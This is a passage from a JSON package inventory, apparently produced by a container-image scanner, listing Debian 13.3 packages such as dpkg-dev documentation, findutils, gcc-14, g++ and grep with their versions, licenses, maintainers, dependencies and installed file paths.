"/usr/share/man/de/man5/deb-preinst.5.gz", "/usr/share/man/de/man5/deb-prerm.5.gz", "/usr/share/man/de/man5/deb-shlibs.5.gz", "/usr/share/man/de/man5/deb-split.5.gz", "/usr/share/man/de/man5/deb-src-control.5.gz", "/usr/share/man/de/man5/deb-src-files.5.gz", "/usr/share/man/de/man5/deb-src-rules.5.gz", "/usr/share/man/de/man5/deb-src-symbols.5.gz", "/usr/share/man/de/man5/deb-substvars.5.gz", "/usr/share/man/de/man5/deb-symbols.5.gz", "/usr/share/man/de/man5/deb-triggers.5.gz", "/usr/share/man/de/man5/deb.5.gz", "/usr/share/man/de/man5/deb822.5.gz", "/usr/share/man/de/man5/dsc.5.gz", "/usr/share/man/de/man7/deb-version.7.gz", "/usr/share/man/de/man7/dpkg-build-api.7.gz", "/usr/share/man/es/man1/dpkg-distaddfile.1.gz", "/usr/share/man/es/man5/deb-old.5.gz", "/usr/share/man/fr/man1/dpkg-architecture.1.gz", "/usr/share/man/fr/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/fr/man1/dpkg-distaddfile.1.gz", "/usr/share/man/fr/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/fr/man1/dpkg-genchanges.1.gz", "/usr/share/man/fr/man1/dpkg-gencontrol.1.gz", "/usr/share/man/fr/man1/dpkg-gensymbols.1.gz", "/usr/share/man/fr/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/fr/man1/dpkg-name.1.gz", "/usr/share/man/fr/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/fr/man1/dpkg-scanpackages.1.gz", "/usr/share/man/fr/man1/dpkg-scansources.1.gz", "/usr/share/man/fr/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/fr/man1/dpkg-source.1.gz", "/usr/share/man/fr/man1/dpkg-vendor.1.gz", "/usr/share/man/fr/man5/deb-changelog.5.gz", "/usr/share/man/fr/man5/deb-changes.5.gz", "/usr/share/man/fr/man5/deb-conffiles.5.gz", "/usr/share/man/fr/man5/deb-control.5.gz", "/usr/share/man/fr/man5/deb-extra-override.5.gz", "/usr/share/man/fr/man5/deb-md5sums.5.gz", "/usr/share/man/fr/man5/deb-old.5.gz", "/usr/share/man/fr/man5/deb-origin.5.gz", "/usr/share/man/fr/man5/deb-override.5.gz", "/usr/share/man/fr/man5/deb-postinst.5.gz", "/usr/share/man/fr/man5/deb-postrm.5.gz", "/usr/share/man/fr/man5/deb-preinst.5.gz", "/usr/share/man/fr/man5/deb-prerm.5.gz", "/usr/share/man/fr/man5/deb-shlibs.5.gz", "/usr/share/man/fr/man5/deb-split.5.gz", "/usr/share/man/fr/man5/deb-src-control.5.gz", "/usr/share/man/fr/man5/deb-src-files.5.gz", "/usr/share/man/fr/man5/deb-src-rules.5.gz", "/usr/share/man/fr/man5/deb-src-symbols.5.gz", "/usr/share/man/fr/man5/deb-substvars.5.gz", "/usr/share/man/fr/man5/deb-symbols.5.gz", "/usr/share/man/fr/man5/deb-triggers.5.gz", "/usr/share/man/fr/man5/deb.5.gz", "/usr/share/man/fr/man5/deb822.5.gz", "/usr/share/man/fr/man5/dsc.5.gz", "/usr/share/man/fr/man7/deb-version.7.gz", "/usr/share/man/it/man1/dpkg-distaddfile.1.gz", "/usr/share/man/it/man5/deb-old.5.gz", "/usr/share/man/ja/man1/dpkg-distaddfile.1.gz", "/usr/share/man/ja/man5/deb-old.5.gz", "/usr/share/man/man1/dpkg-architecture.1.gz", "/usr/share/man/man1/dpkg-buildapi.1.gz", "/usr/share/man/man1/dpkg-buildflags.1.gz", "/usr/share/man/man1/dpkg-buildpackage.1.gz", "/usr/share/man/man1/dpkg-buildtree.1.gz", "/usr/share/man/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/man1/dpkg-distaddfile.1.gz", "/usr/share/man/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/man1/dpkg-genchanges.1.gz", "/usr/share/man/man1/dpkg-gencontrol.1.gz", "/usr/share/man/man1/dpkg-gensymbols.1.gz", "/usr/share/man/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/man1/dpkg-name.1.gz", "/usr/share/man/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/man1/dpkg-scanpackages.1.gz", "/usr/share/man/man1/dpkg-scansources.1.gz", "/usr/share/man/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/man1/dpkg-source.1.gz", "/usr/share/man/man1/dpkg-vendor.1.gz", "/usr/share/man/man5/deb-buildinfo.5.gz", "/usr/share/man/man5/deb-changelog.5.gz", "/usr/share/man/man5/deb-changes.5.gz", "/usr/share/man/man5/deb-conffiles.5.gz", "/usr/share/man/man5/deb-control.5.gz", "/usr/share/man/man5/deb-extra-override.5.gz", "/usr/share/man/man5/deb-md5sums.5.gz", "/usr/share/man/man5/deb-old.5.gz", "/usr/share/man/man5/deb-origin.5.gz", "/usr/share/man/man5/deb-override.5.gz", "/usr/share/man/man5/deb-postinst.5.gz", "/usr/share/man/man5/deb-postrm.5.gz", "/usr/share/man/man5/deb-preinst.5.gz", "/usr/share/man/man5/deb-prerm.5.gz", "/usr/share/man/man5/deb-shlibs.5.gz", "/usr/share/man/man5/deb-split.5.gz", "/usr/share/man/man5/deb-src-control.5.gz", "/usr/share/man/man5/deb-src-files.5.gz", "/usr/share/man/man5/deb-src-rules.5.gz", "/usr/share/man/man5/deb-src-symbols.5.gz", "/usr/share/man/man5/deb-substvars.5.gz", "/usr/share/man/man5/deb-symbols.5.gz", "/usr/share/man/man5/deb-triggers.5.gz", "/usr/share/man/man5/deb.5.gz", "/usr/share/man/man5/deb822.5.gz", "/usr/share/man/man5/dsc.5.gz", "/usr/share/man/man7/deb-version.7.gz", "/usr/share/man/man7/dpkg-build-api.7.gz", "/usr/share/man/nl/man1/dpkg-architecture.1.gz", "/usr/share/man/nl/man1/dpkg-buildapi.1.gz", "/usr/share/man/nl/man1/dpkg-buildflags.1.gz", "/usr/share/man/nl/man1/dpkg-buildpackage.1.gz", "/usr/share/man/nl/man1/dpkg-buildtree.1.gz", "/usr/share/man/nl/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/nl/man1/dpkg-distaddfile.1.gz", "/usr/share/man/nl/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/nl/man1/dpkg-genchanges.1.gz", "/usr/share/man/nl/man1/dpkg-gencontrol.1.gz", "/usr/share/man/nl/man1/dpkg-gensymbols.1.gz", "/usr/share/man/nl/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/nl/man1/dpkg-name.1.gz", "/usr/share/man/nl/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/nl/man1/dpkg-scanpackages.1.gz", "/usr/share/man/nl/man1/dpkg-scansources.1.gz", "/usr/share/man/nl/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/nl/man1/dpkg-source.1.gz", "/usr/share/man/nl/man1/dpkg-vendor.1.gz", "/usr/share/man/nl/man5/deb-buildinfo.5.gz", "/usr/share/man/nl/man5/deb-changelog.5.gz", "/usr/share/man/nl/man5/deb-changes.5.gz", "/usr/share/man/nl/man5/deb-conffiles.5.gz", "/usr/share/man/nl/man5/deb-control.5.gz", "/usr/share/man/nl/man5/deb-extra-override.5.gz", "/usr/share/man/nl/man5/deb-md5sums.5.gz", "/usr/share/man/nl/man5/deb-old.5.gz", "/usr/share/man/nl/man5/deb-origin.5.gz", "/usr/share/man/nl/man5/deb-override.5.gz", "/usr/share/man/nl/man5/deb-postinst.5.gz", "/usr/share/man/nl/man5/deb-postrm.5.gz", "/usr/share/man/nl/man5/deb-preinst.5.gz", "/usr/share/man/nl/man5/deb-prerm.5.gz", "/usr/share/man/nl/man5/deb-shlibs.5.gz", "/usr/share/man/nl/man5/deb-split.5.gz", "/usr/share/man/nl/man5/deb-src-control.5.gz", "/usr/share/man/nl/man5/deb-src-files.5.gz", "/usr/share/man/nl/man5/deb-src-rules.5.gz", "/usr/share/man/nl/man5/deb-src-symbols.5.gz", "/usr/share/man/nl/man5/deb-substvars.5.gz", "/usr/share/man/nl/man5/deb-symbols.5.gz", "/usr/share/man/nl/man5/deb-triggers.5.gz", "/usr/share/man/nl/man5/deb.5.gz", "/usr/share/man/nl/man5/deb822.5.gz", "/usr/share/man/nl/man5/dsc.5.gz", "/usr/share/man/nl/man7/deb-version.7.gz", "/usr/share/man/nl/man7/dpkg-build-api.7.gz", "/usr/share/man/pl/man1/dpkg-distaddfile.1.gz", "/usr/share/man/pl/man5/deb-old.5.gz", "/usr/share/man/pt/man1/dpkg-architecture.1.gz", "/usr/share/man/pt/man1/dpkg-buildapi.1.gz", "/usr/share/man/pt/man1/dpkg-buildflags.1.gz", "/usr/share/man/pt/man1/dpkg-buildpackage.1.gz", "/usr/share/man/pt/man1/dpkg-buildtree.1.gz", "/usr/share/man/pt/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/pt/man1/dpkg-distaddfile.1.gz", "/usr/share/man/pt/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/pt/man1/dpkg-genchanges.1.gz", "/usr/share/man/pt/man1/dpkg-gencontrol.1.gz", "/usr/share/man/pt/man1/dpkg-gensymbols.1.gz", "/usr/share/man/pt/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/pt/man1/dpkg-name.1.gz", "/usr/share/man/pt/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/pt/man1/dpkg-scanpackages.1.gz", "/usr/share/man/pt/man1/dpkg-scansources.1.gz", "/usr/share/man/pt/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/pt/man1/dpkg-source.1.gz", "/usr/share/man/pt/man1/dpkg-vendor.1.gz", "/usr/share/man/pt/man5/deb-buildinfo.5.gz", "/usr/share/man/pt/man5/deb-changelog.5.gz", "/usr/share/man/pt/man5/deb-changes.5.gz", "/usr/share/man/pt/man5/deb-conffiles.5.gz", "/usr/share/man/pt/man5/deb-control.5.gz", "/usr/share/man/pt/man5/deb-extra-override.5.gz", "/usr/share/man/pt/man5/deb-md5sums.5.gz", "/usr/share/man/pt/man5/deb-old.5.gz", "/usr/share/man/pt/man5/deb-origin.5.gz", "/usr/share/man/pt/man5/deb-override.5.gz", "/usr/share/man/pt/man5/deb-postinst.5.gz", "/usr/share/man/pt/man5/deb-postrm.5.gz", "/usr/share/man/pt/man5/deb-preinst.5.gz", "/usr/share/man/pt/man5/deb-prerm.5.gz", "/usr/share/man/pt/man5/deb-shlibs.5.gz", "/usr/share/man/pt/man5/deb-split.5.gz", "/usr/share/man/pt/man5/deb-src-control.5.gz", "/usr/share/man/pt/man5/deb-src-files.5.gz", "/usr/share/man/pt/man5/deb-src-rules.5.gz", "/usr/share/man/pt/man5/deb-src-symbols.5.gz", "/usr/share/man/pt/man5/deb-substvars.5.gz", "/usr/share/man/pt/man5/deb-symbols.5.gz", "/usr/share/man/pt/man5/deb-triggers.5.gz", "/usr/share/man/pt/man5/deb.5.gz", "/usr/share/man/pt/man5/deb822.5.gz", "/usr/share/man/pt/man5/dsc.5.gz", "/usr/share/man/pt/man7/deb-version.7.gz", "/usr/share/man/pt/man7/dpkg-build-api.7.gz", "/usr/share/man/sv/man1/dpkg-architecture.1.gz", "/usr/share/man/sv/man1/dpkg-buildapi.1.gz", "/usr/share/man/sv/man1/dpkg-buildflags.1.gz", "/usr/share/man/sv/man1/dpkg-buildpackage.1.gz", "/usr/share/man/sv/man1/dpkg-buildtree.1.gz", "/usr/share/man/sv/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/sv/man1/dpkg-distaddfile.1.gz", "/usr/share/man/sv/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/sv/man1/dpkg-genchanges.1.gz", "/usr/share/man/sv/man1/dpkg-gencontrol.1.gz", "/usr/share/man/sv/man1/dpkg-gensymbols.1.gz", "/usr/share/man/sv/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/sv/man1/dpkg-name.1.gz", "/usr/share/man/sv/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/sv/man1/dpkg-scanpackages.1.gz", "/usr/share/man/sv/man1/dpkg-scansources.1.gz", "/usr/share/man/sv/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/sv/man1/dpkg-source.1.gz", "/usr/share/man/sv/man1/dpkg-vendor.1.gz", "/usr/share/man/sv/man5/deb-buildinfo.5.gz", "/usr/share/man/sv/man5/deb-changelog.5.gz", "/usr/share/man/sv/man5/deb-changes.5.gz", "/usr/share/man/sv/man5/deb-conffiles.5.gz", "/usr/share/man/sv/man5/deb-control.5.gz", "/usr/share/man/sv/man5/deb-extra-override.5.gz", "/usr/share/man/sv/man5/deb-md5sums.5.gz", "/usr/share/man/sv/man5/deb-old.5.gz", "/usr/share/man/sv/man5/deb-origin.5.gz", "/usr/share/man/sv/man5/deb-override.5.gz", "/usr/share/man/sv/man5/deb-postinst.5.gz", "/usr/share/man/sv/man5/deb-postrm.5.gz", "/usr/share/man/sv/man5/deb-preinst.5.gz", "/usr/share/man/sv/man5/deb-prerm.5.gz", "/usr/share/man/sv/man5/deb-shlibs.5.gz", "/usr/share/man/sv/man5/deb-split.5.gz", "/usr/share/man/sv/man5/deb-src-control.5.gz", "/usr/share/man/sv/man5/deb-src-files.5.gz", "/usr/share/man/sv/man5/deb-src-rules.5.gz", "/usr/share/man/sv/man5/deb-src-symbols.5.gz", "/usr/share/man/sv/man5/deb-substvars.5.gz", "/usr/share/man/sv/man5/deb-symbols.5.gz", "/usr/share/man/sv/man5/deb-triggers.5.gz", "/usr/share/man/sv/man5/deb.5.gz", "/usr/share/man/sv/man5/deb822.5.gz", "/usr/share/man/sv/man5/dsc.5.gz", "/usr/share/man/sv/man7/deb-version.7.gz", "/usr/share/man/sv/man7/dpkg-build-api.7.gz", "/usr/share/zsh/vendor-completions/_dpkg-parsechangelog" ], "AnalyzedBy": "dpkg" }, { "ID": "findutils@4.10.0-3", "Name": "findutils", "Identifier": { "PURL": "pkg:deb/debian/findutils@4.10.0-3?arch=amd64\u0026distro=debian-13.3", "UID": "12e741692291b42a" }, "Version": "4.10.0", "Release": "3", "Arch": "amd64", "SrcName": "findutils", "SrcVersion": "4.10.0", "SrcRelease": "3", "Licenses": [ "GFDL-1.3-no-invariants-or-later", "GPL-3.0-or-later", "FSFAP", "GPL-2+ with Autoconf-data exception", "GPL-3+ with Autoconf-data exception", "FSFULLR", "GPL-2.0-or-later", "X11", "public-domain", "LGPL-2.1-or-later", "GPL with automake exception", "LGPL-2.0-or-later", "LGPL-3.0-or-later", "BSD-3-Clause", "GPL-3+ with Bison-2.2 exception", "LGPL-3.0-only", "ISC", "GFDL-1.3-only", "GPL-2.0-only", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Andreas Metzler \u003cametzler@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/find", "/usr/bin/xargs", "/usr/share/doc-base/findutils.findutils", "/usr/share/doc/findutils/NEWS.gz", "/usr/share/doc/findutils/README.gz", "/usr/share/doc/findutils/TODO", "/usr/share/doc/findutils/changelog.Debian.gz", "/usr/share/doc/findutils/changelog.gz", "/usr/share/doc/findutils/copyright", "/usr/share/info/find-maint.info.gz", "/usr/share/info/find.info.gz", "/usr/share/locale/be/LC_MESSAGES/findutils.mo", "/usr/share/locale/bg/LC_MESSAGES/findutils.mo", "/usr/share/locale/ca/LC_MESSAGES/findutils.mo", "/usr/share/locale/cs/LC_MESSAGES/findutils.mo", "/usr/share/locale/da/LC_MESSAGES/findutils.mo", "/usr/share/locale/de/LC_MESSAGES/findutils.mo", "/usr/share/locale/el/LC_MESSAGES/findutils.mo", "/usr/share/locale/eo/LC_MESSAGES/findutils.mo", "/usr/share/locale/es/LC_MESSAGES/findutils.mo", "/usr/share/locale/et/LC_MESSAGES/findutils.mo", "/usr/share/locale/fi/LC_MESSAGES/findutils.mo", "/usr/share/locale/fr/LC_MESSAGES/findutils.mo", "/usr/share/locale/ga/LC_MESSAGES/findutils.mo", "/usr/share/locale/gl/LC_MESSAGES/findutils.mo", "/usr/share/locale/hr/LC_MESSAGES/findutils.mo", "/usr/share/locale/hu/LC_MESSAGES/findutils.mo", "/usr/share/locale/id/LC_MESSAGES/findutils.mo", "/usr/share/locale/it/LC_MESSAGES/findutils.mo", "/usr/share/locale/ja/LC_MESSAGES/findutils.mo", "/usr/share/locale/ka/LC_MESSAGES/findutils.mo", "/usr/share/locale/ko/LC_MESSAGES/findutils.mo", "/usr/share/locale/lg/LC_MESSAGES/findutils.mo", "/usr/share/locale/lt/LC_MESSAGES/findutils.mo", "/usr/share/locale/ms/LC_MESSAGES/findutils.mo", "/usr/share/locale/nb/LC_MESSAGES/findutils.mo", "/usr/share/locale/nl/LC_MESSAGES/findutils.mo", "/usr/share/locale/pl/LC_MESSAGES/findutils.mo", "/usr/share/locale/pt/LC_MESSAGES/findutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/findutils.mo", "/usr/share/locale/ro/LC_MESSAGES/findutils.mo", "/usr/share/locale/ru/LC_MESSAGES/findutils.mo", "/usr/share/locale/sk/LC_MESSAGES/findutils.mo", "/usr/share/locale/sl/LC_MESSAGES/findutils.mo", "/usr/share/locale/sr/LC_MESSAGES/findutils.mo", "/usr/share/locale/sv/LC_MESSAGES/findutils.mo", "/usr/share/locale/tr/LC_MESSAGES/findutils.mo", "/usr/share/locale/uk/LC_MESSAGES/findutils.mo", "/usr/share/locale/vi/LC_MESSAGES/findutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/findutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/findutils.mo", "/usr/share/man/man1/find.1.gz", "/usr/share/man/man1/xargs.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "g++@4:14.2.0-1", "Name": "g++", "Identifier": { "PURL": "pkg:deb/debian/g%2B%2B@14.2.0-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=4", "UID": "b2c30d0ce66ed034" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-x86-64-linux-gnu@4:14.2.0-1", "cpp@4:14.2.0-1", "g++-14@14.2.0-19", "g++-x86-64-linux-gnu@4:14.2.0-1", "gcc-14@14.2.0-19", "gcc@4:14.2.0-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/lintian/overrides/g++" ], "AnalyzedBy": "dpkg" }, { "ID": "g++-14@14.2.0-19", "Name": "g++-14", "Identifier": { "PURL": "pkg:deb/debian/g%2B%2B-14@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "701ac9e10001f451" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "g++-14-x86-64-linux-gnu@14.2.0-19", "gcc-14-base@14.2.0-19", "gcc-14@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/doc/gcc-14-base/C++/README.C++", "/usr/share/doc/gcc-14-base/C++/changelog.gz", "/usr/share/lintian/overrides/g++-14" ], "AnalyzedBy": "dpkg" }, { "ID": "g++-14-x86-64-linux-gnu@14.2.0-19", "Name": "g++-14-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/g%2B%2B-14-x86-64-linux-gnu@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "5d388fb1412e544b" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "gcc-14-x86-64-linux-gnu@14.2.0-19", "libc6@2.41-12+deb13u2", "libgmp10@2:6.3.0+dfsg-3", "libisl23@0.27-1", "libmpc3@1.3.1-1+b3", "libmpfr6@4.2.2-1", "libstdc++-14-dev@14.2.0-19", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-g++-14", "/usr/libexec/gcc/x86_64-linux-gnu/14/cc1plus", "/usr/libexec/gcc/x86_64-linux-gnu/14/g++-mapper-server", "/usr/share/lintian/overrides/g++-14-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "g++-x86-64-linux-gnu@4:14.2.0-1", "Name": "g++-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/g%2B%2B-x86-64-linux-gnu@14.2.0-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=4", "UID": "7830199c0b982ba2" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-x86-64-linux-gnu@4:14.2.0-1", "g++-14-x86-64-linux-gnu@14.2.0-19", "gcc-x86-64-linux-gnu@4:14.2.0-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/lintian/overrides/g++-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc@4:14.2.0-1", "Name": "gcc", "Identifier": { "PURL": "pkg:deb/debian/gcc@14.2.0-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=4", "UID": "276908462bcefa78" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-x86-64-linux-gnu@4:14.2.0-1", "cpp@4:14.2.0-1", "gcc-14@14.2.0-19", "gcc-x86-64-linux-gnu@4:14.2.0-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/c89-gcc", "/usr/bin/c99-gcc", "/usr/share/lintian/overrides/gcc", "/usr/share/man/man1/c89-gcc.1.gz", "/usr/share/man/man1/c99-gcc.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-14@14.2.0-19", "Name": "gcc-14", "Identifier": { "PURL": "pkg:deb/debian/gcc-14@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "eb4e2f2b4eca9991" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils@2.44-3", "cpp-14@14.2.0-19", "gcc-14-base@14.2.0-19", "gcc-14-x86-64-linux-gnu@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/doc/gcc-14-base/NEWS.gz", "/usr/share/doc/gcc-14-base/NEWS.html", "/usr/share/doc/gcc-14-base/README.Bugs", "/usr/share/doc/gcc-14-base/README.ssp", "/usr/share/doc/gcc-14-base/changelog.gz", "/usr/share/doc/gcc-14-base/gcc/changelog.gz", "/usr/share/doc/gcc-14-base/gomp/changelog.gz", "/usr/share/doc/gcc-14-base/itm/changelog.gz", "/usr/share/doc/gcc-14-base/quadmath/changelog.gz", "/usr/share/doc/gcc-14-base/sanitizer/changelog.gz", "/usr/share/lintian/overrides/gcc-14" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-14-base@14.2.0-19", "Name": "gcc-14-base", "Identifier": { "PURL": "pkg:deb/debian/gcc-14-base@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "371c061d08215a1b" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Licenses": [ "GPL-2.0-or-later", "GPL-3.0-only", "GFDL-1.2-only", "Artistic-2.0", "LGPL-2.0-or-later" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/share/doc/gcc-14-base/README.Debian.amd64.gz", "/usr/share/doc/gcc-14-base/TODO.Debian", "/usr/share/doc/gcc-14-base/changelog.Debian.gz", "/usr/share/doc/gcc-14-base/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-14-x86-64-linux-gnu@14.2.0-19", "Name": "gcc-14-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/gcc-14-x86-64-linux-gnu@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "b1f64d6069837e5e" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-x86-64-linux-gnu@2.44-3", "cpp-14-x86-64-linux-gnu@14.2.0-19", "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2", "libcc1-0@14.2.0-19", "libgcc-14-dev@14.2.0-19", "libgcc-s1@14.2.0-19", "libgmp10@2:6.3.0+dfsg-3", "libisl23@0.27-1", "libmpc3@1.3.1-1+b3", "libmpfr6@4.2.2-1", "libstdc++6@14.2.0-19", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-gcc-14", "/usr/bin/x86_64-linux-gnu-gcc-ar-14", "/usr/bin/x86_64-linux-gnu-gcc-nm-14", "/usr/bin/x86_64-linux-gnu-gcc-ranlib-14", "/usr/bin/x86_64-linux-gnu-gcov-14", "/usr/bin/x86_64-linux-gnu-gcov-dump-14", "/usr/bin/x86_64-linux-gnu-gcov-tool-14", "/usr/bin/x86_64-linux-gnu-lto-dump-14", "/usr/lib/gcc/x86_64-linux-gnu/14/libgomp.spec", "/usr/lib/gcc/x86_64-linux-gnu/14/libhwasan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libitm.spec", "/usr/lib/gcc/x86_64-linux-gnu/14/libsanitizer.spec", "/usr/lib/gcc/x86_64-linux-gnu/14/plugin/libcc1plugin.so.0.0.0", "/usr/lib/gcc/x86_64-linux-gnu/14/plugin/libcp1plugin.so.0.0.0", "/usr/libexec/gcc/x86_64-linux-gnu/14/collect2", "/usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so", "/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper", "/usr/libexec/gcc/x86_64-linux-gnu/14/lto1", "/usr/share/lintian/overrides/gcc-14-x86-64-linux-gnu", "/usr/share/man/man1/x86_64-linux-gnu-gcc-ar-14.1.gz", "/usr/share/man/man1/x86_64-linux-gnu-gcc-nm-14.1.gz", "/usr/share/man/man1/x86_64-linux-gnu-gcc-ranlib-14.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-x86-64-linux-gnu@4:14.2.0-1", "Name": "gcc-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/gcc-x86-64-linux-gnu@14.2.0-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=4", "UID": "3c841a7524931080" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-x86-64-linux-gnu@4:14.2.0-1", "gcc-14-x86-64-linux-gnu@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/lintian/overrides/gcc-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "grep@3.11-4", "Name": "grep", "Identifier": { "PURL": "pkg:deb/debian/grep@3.11-4?arch=amd64\u0026distro=debian-13.3", "UID": "6ce8b4eed9c0d137" }, "Version": "3.11", "Release": "4", "Arch": "amd64", "SrcName": "grep", "SrcVersion": "3.11", "SrcRelease": "4", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, 